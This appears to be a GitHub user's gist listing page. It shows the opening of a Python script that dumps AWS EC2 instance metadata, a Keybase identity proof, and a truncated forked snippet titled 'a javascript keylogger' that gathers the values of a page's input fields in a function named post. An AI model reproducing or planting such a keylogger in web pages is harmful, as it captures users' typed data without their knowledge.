Skip to content

Instantly share code, notes, and snippets.

@j1v37u2k3y
j1v37u2k3y / meta2dict.py
Last active August 17, 2022 17:44
get all data from ec2 metadata
#!/usr/bin/env python
import requests
import json
# Converts AWS EC2 instance metadata to a dictionary
def load():
metaurl = 'http://169.254.169.254/latest'
# those 3 top subdirectories are not exposed with a final '/'
@j1v37u2k3y
j1v37u2k3y / keylogger.jsp
Created August 19, 2021 14:29 — forked from rundongliu/keylogger.jsp
a javascript keylogger
<script>
function post (event) {
var inputs = document.getElementsByTagName("input");
var param = ""
for(var i=0; i < inputs.length; i++)
{
input = inputs[i];
if(input.type=="hidden"|| input.type=="submit")
continue;
if(input.value=="")

Keybase proof

I hereby claim:

  • I am j1v37u2k3y on github.
  • I am j1v37u2k3y (https://keybase.io/j1v37u2k3y) on keybase.
  • I have a public key whose fingerprint is B09D 602F 8323 0B08 6331 6DDF DC05 7E5F 5362 2BDD

To claim this, I am signing this object: